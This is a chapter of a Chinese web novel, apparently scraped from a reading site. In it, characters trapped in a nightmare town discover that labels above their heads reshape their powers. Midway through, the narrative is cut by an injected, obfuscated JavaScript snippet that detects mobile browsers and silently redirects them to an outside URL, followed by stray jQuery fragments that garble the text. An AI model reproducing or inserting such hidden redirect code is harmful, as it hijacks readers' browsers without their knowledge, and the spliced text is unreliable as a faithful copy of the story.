58. 永夜小镇3

作品:《恕我直言各位都弱爆了[无限]

    柏水脸色不太好。


    尤许自己看不到,但他看得到:尤许头上那三个标签,亮着诡异的红光。


    尤许的身体变矮了,柏水非常肯定。


    是因为“矮”标签吗?


    或许不是这怪物太强,而是尤许头顶的“花瓶”标签,让她变弱了。


    柏水朝僵持的一人一羊过去,叮嘱道:“嘉莹,闭着眼。”


    李嘉莹声音颤抖,还没从巨大的恐惧中回过神:“好……”


    伞盖被羊角一头撞飞,空中旋转两圈砸在墙上,撞出一个坑。墙砖被撞出一个大洞,噼啪砸在地面。


    尤许右臂被震得发麻,传来刺骨的疼痛。


    重伞……坏了。


    “我来。”


    尤许闻声一顿,强烈的被凝视感迫使她回过头。


    她对上那五颗狭长的眼睛。它们此时大张着,像是在呼吸一般蠕动。


    “柏水?”尤许心脏剧烈跳动起来,比以往都要剧烈。


    “哈哈哈……”剩下的伞柄咣当掉在地上,发出一声脆响。她抱着头,瞳孔紧缩,颤抖起来。


    羊头怪噗通一声倒在地上,嘴里发出嘶哑的低吼,鲜艳的血滴从眼眶滚落到脸颊,沾湿了脸上白色的绒毛。


    “嗬——啊——”


    褐色鸡爪抱上羊头,血水越流越多,在脸颊留下狭长的红痕。眼眶黑洞洞的,它的眼球径直化开了。


    尤许捂着心口,努力遏制自己的喘息,抬头望见那身影,她瞬间瞪大了眼。


    柏水头上,那“恐怖”字样泛着诡异的红光,愈来愈亮。


    标签。


    尤许突然意识到,是标签改变了他们,让他们向着标签的形容靠拢。


    花瓶标签削弱了她的能力,而恐怖标签则放大了柏水的能力。


    蹲在地上闭着眼的李嘉莹:……她从巨大的恐惧中抽离出来,缓和到现在,也想明白了。


    胆小标签放大了她的恐惧,而那羊头的眼睛,大抵是精神污染类,差点给她理智干崩溃。还好有柏水挡了一下,否则……


    李嘉莹想看看自己还剩多少理智,但她不敢睁开眼。她直觉,这一下绝对掉了不少理智值。


    手募地被人牵起来,拉着她快步跑起来。


    李嘉莹:“尤许?”


    “嗯,是我。”


    尤许左手牵着李嘉莹,右手牵着柏水。柏水像个激光炮似的,目光所及之处,所有蜡人便都化作一滩水。


    白色烟雾自那水渍中升腾出来,消散在夜色里。


    尤许不禁感慨:好一个目光扫射biu~biu~biu~


    蜂蛹着的白点被破开一道口子,三个小黑点从破开的灰色石板路冲出去,将蜡人大军远远甩在身后。


    那些白色蜡人呆立在原地,不久便摇晃着四散来,继续漫无目的地游荡。


    没了羊头的指令,它们只是头脑简单、四肢也不甚发达的空壳而已。


    *


    “原来是这样……”绿毛腿抖个不停:“鑫哥,照你这么说,有怪物在追我们。那他们在原地休息的,不都得死了?”


    唐鑫叼着烟,白色烟雾缭绕,映得他眼神忽闪。


    都会死吗?


    唐鑫心底莫名的烦躁,涌起一种他也说不明白的情绪。他把这归结为“惜才”。那个李嘉莹还挺聪明,死了怪可惜的。


    他们四个离开之后,躲避街上游荡的蜡人,找到现在这房子。


    一间白色二层小洋房,房子里只有一个老爷爷。老爷爷听他们说想进去躲躲,便欣然答应下来。


    客厅沙发对面,摆着台老式电视机,两侧是白色立柜。客厅东方向一间主卧,西方向是两间侧卧。


    侧卧南北相对,中间是共用的卫生间。


    客厅南边是安了猫眼的白木门,门把手的漆有些掉了,看起来用了很久。


    嘟、嘟、嘟。


    有人在敲门。


    唐鑫叼着烟,警惕地望向门口。红蓝绿三人自发凑到唐鑫身边,抱着他胳膊道:“鑫哥,……这这不会是怪物吧?”


    “哎呦,来了——”老爷爷从厨房里钻出来,乐呵呵道:“今天有这么多客人啊,来了呦,别急。”


    尤许收回准备砸门的动作,脸上换上一个标准的笑容。


    门打开了,是一个老爷爷。


    尤许:“可以借宿吗?三个人。”


    “哎呦,老头子我这里今天可热闹了,来来来快进来。”


    老爷爷很热情,那尤许也不客气,拽着两人就往屋里走。她抬眼环视四周,客厅内侧与门相对的方向,是个半开放式厨房。


    视线向右扫,又扫过拐角,再向右……


    她视线顿住,与唐鑫四目相对。


    “呵——”唐鑫叼着烟,含糊道:“还活着呢?”


    冲出重围后,柏水已经重新将面具戴了回去,隔绝了那渗人的凝视和气息。


    尤许四下打量,摩挲着下巴:“面具戴早了,怎么不射死他。”


    “哎你怎么说话呢”,红毛砰地一拍桌子:“对我大哥放尊重点。”


    嘟、嘟、嘟。


    门又响了。


    老爷爷又从厨房里钻出来,正要去开门,被尤许拦下。


    “我去吧,你忙。”


    尤许闪烁的三观回来了一点,她想:既然这老爷爷好心收留了她,她应该帮他一下。老爷爷好像在厨房做饭,她就去开个门吧。


    头顶“好孩子”标签,尤许几步过去拉开门,与带着孙子的奶奶四目相对。奶奶眼角、脸颊都挂了彩,左臂有一道焦黑的灼烧痕迹,皮肉泛着黑红。


    砰。


    尤许关上门。


    咚、咚、咚!


    外面敲门的声音更大了,老爷爷探出头问:“怎么了小姑娘,不会用我家的门吗?”


    最后尤许还是不情不愿将两人放了进来,毕竟这是老爷爷家,不是她家。


    孙子看到她跟看到仇人似的,吱哇乱叫的,抄起桌上的水杯就砸向她。


    “还我爷爷,你这个坏人,害死了我爷爷!还我爷爷!”


    尤许心道哪里来的葫芦娃。她快速左移两步,侧身躲过,上衣却被洒出来的水浇了个透心凉。


    吧的。


    玻璃杯碎在地上,发出清脆的声响,将厨房做饭的老爷爷引了出来。


    老爷爷还是傻乐呵,问到:“怎么回事,被子打碎了?扎到手没有?”


    他絮絮叨叨地出来,拎着客厅角落的拖把,将玻璃碎片小心扫进去,叮嘱着:“可能有碎玻璃渣子没扫到,你们小心点,别光脚踩。”


    “没扫到?”尤许冷笑一声,抬脚往孙子面前过去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17384785|195615||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这可吓坏了奶奶,她往孙子面前一横,瞪着尤许:“你想做什么?”


    柏水上前拽住老奶奶,尤许则是拎起孙子后颈,不论孙子怎么挣扎,她只是目不斜视往杯子摔碎的地方走。


    她一手拽住孙子的短裤,用力一扯,将孙子的裤子扯下来。而后往泛着碎玻璃渣的地方按下去。


    “呜啊啊啊……奶奶……”


    孙子发出尖锐刺耳的嚎啕,屁股和剩下的碎玻璃渣来了个亲密接触。


    “啊——奶奶……呜呜呜……”


    老奶奶被柏水拎着,急得手脚都在乱扑腾。


    尤许松开手,任由孙子从地上爬起来,哭哭啼啼朝他奶奶过去。


    一旁的老爷爷看呆了,也不知怎么劝,只是一声一声叹息:“哎,小姑娘,我衣柜里有我女儿以前的衣服。你要不先换身衣服吧?”


    客厅西侧北边,是一间不怎么见光的后房,衣柜排排立在进门右手边。


    老爷爷让她自己挑,说是他女儿好久不回来了,也穿不到。


    尤许总觉得老爷爷说起女儿时,有种奇怪的情绪。但她没感觉到杀意,所以暂时也没打算细究。


    她抬手握住棕木色把手,向外一拉,柜门便缓缓展开。


    一抹黑色瞬间钻出来,扭动漆黑的触手,一把握住她的手腕。


    “嗬……”


    尤许被一股力量往柜子里拖,黑手扭动起来,像肥美的鳗鱼,滴啦啦往下掉漆黑粘液。


    她冷眼看着那东西。


    黑手鼓足了劲儿,也没拖动眼前这个人。这不对啊?


    它奇怪的“啊”了一声,歪着手指似乎在思考。还没等它想出个所以然来,尤许便反手握住它,用力一拽,将它拖了出来。


    黑手:?


    客厅的人听到动静,一个接一个挤进这间屋子,就看到一条黑乎乎的手臂在地上蠕动。黑色汁液抹得到处都是,活像墨水撒了一地。


    这下,尤许身上不仅湿了,还黑乎乎的,胳膊上也一片黑水。


    尤许不高兴,她一脚踩上黑手。


    “吱——”黑手疯狂扭动起来,五指扣在地上,挣扎着想钻回衣柜里,逃离这个踩它的人。


    尤许哪里会让它跑掉?


    她从手环空间里掏出只剩一个柄的重伞,抽出伞柄内细剑,弯腰俯身,将剑刃直直插进黑手内部,给它穿了个串。


    黑手发出一阵老鼠似的惨叫,凄厉绵长,彻底停止了挣扎。


    众人:……好他吧的狠。


    “变淡了。”


    柏水突然开口,一句没头没脑的话让唐鑫一愣:“还是这么黑,没变淡啊?”


    “嗯。”尤许点点头:“猜到了。”


    她头上的“花瓶”标签变淡了。这标签来自于陌生人的评价,会作用于她本身。


    那如果她改变了别人对自己的印象呢?


    果然,在她教训了那个小孩、又杀了这只诡异后,在场的陌生人对她的印象发生了变化。她的行为可以反作用于标签。


    “原来是这样。”李嘉莹松了口气,悬起的心稍稍放下了些:“这样一来,你很快就能恢复了。”


    唐鑫:?


    什么猜到了,什么恢复,这都他爹的什么跟什么,他怎么一个字都听不懂?


    唐鑫头顶,“傻大个”的标签愈发鲜亮。